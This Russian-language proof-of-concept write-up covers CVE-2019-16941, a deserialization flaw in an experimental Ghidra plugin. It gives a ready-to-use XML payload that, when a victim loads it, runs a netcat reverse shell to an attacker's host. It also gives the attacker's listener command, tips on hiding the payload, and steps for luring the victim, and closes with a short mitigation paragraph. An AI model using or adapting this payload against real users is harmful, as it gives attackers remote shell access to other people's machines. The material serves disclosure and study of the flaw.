
PoC for CVE-2019-16941
Доказательство концепции:
Уязвимость требует выполнения нескольких и относительно маловероятных условий для срабатывания, что ограничивает её эксплуатацию. Тем не менее, для подготовки полезной нагрузки требуется немного усилий и понимания, учитывая, что это может привести к выполнению произвольного кода.
Создание полезной нагрузки:
Чтобы создать полезную нагрузку для выполнения на целевой системе, можно использовать скрипт, встроенный в Ghidra. Для доступа к нему нажмите «Window» -> «Script Manager» и запустите «DumpFunctionPatternInfoScript.java» с параметрами по умолчанию на любой бинарный файл, который вы добавили в Code Browser (но убедитесь, что путь к папке, в которую вы хотите сохранить вывод, существует). Этот скрипт создает XML-файл вывода, который затем будет загружен в уязвимый компонент.

Этот XML-шаблон можно использовать для внедрения объекта, который будет десериализован как Java-код и выполнен незаметно, без уведомления пользователя. По сути, вредоносный код будет вставлен как дополнительный объект в конец XML-файла, перед закрывающим тегом . Пример полезной нагрузки объекта, представляющей собой обратную оболочку, приведен ниже:
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
Приведенный выше код будет десериализован в следующий Java-код:
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
Возможности полезной нагрузки безграничны, поскольку любой Java-код (даже сложное вредоносное ПО) может быть выполнен таким образом, если он правильно сериализован в формат XML, требуемый XMLDecoder. Следует соблюдать осторожность, если полезная нагрузка вставляется в другое место внутри шаблона (для большей скрытности), так как это может вызвать исключения при десериализации, тем самым предупредив пользователя.
Выполнение:
Процесс, с помощью которого выполняется полезная нагрузка, использует графический интерфейс Ghidra и не может быть автоматизирован. Вместо этого он требует взаимодействия с жертвой, что является еще одним условием для срабатывания эксплойта.
Для работы этого эксплойта на компьютере жертвы необходимо, чтобы в Ghidra был включен экспериментальный плагин «FunctionBitPatternsExplorer». Это можно сделать, выполнив следующие действия:

Далее пользователю необходимо открыть плагин через «Window» -> «Function Bit Patterns Explorer» и загрузить XML-файл с помощью функции «Read XML Files». Однако это создает еще одну проблему для условий. Злоумышленнику нужен способ заставить пользователя загрузить XML-полезную нагрузку на свой компьютер.
С точки зрения жертвы, функция не покажет XML-файлы в списке, поэтому если ваш каталог выглядит пустым, это нормально. Если начать вводить их имя в текстовое поле «Имя файла», они появятся, однако важно не выбирать ни один из них и оставить указатель на каталог, так как он сам выберет файлы.

Прежде чем пользователь нажмет «OK», злоумышленник (joe) должен запустить прослушиватель на своем удаленном хосте и ждать подключения. Это легко сделать с помощью:
$ nc -lvnp <listening_port>
После выполнения результаты можно увидеть ниже:

Уязвимость крайне маловероятна для массовой эксплуатации из-за множества условий. Пока не будет предоставлено новое обновление, лучшими мерами смягчения являются отключение (или изначальное невключение) затронутого экспериментального плагина. Однако, если плагин необходимо использовать, XML-файлы должны поступать из доверенного источника.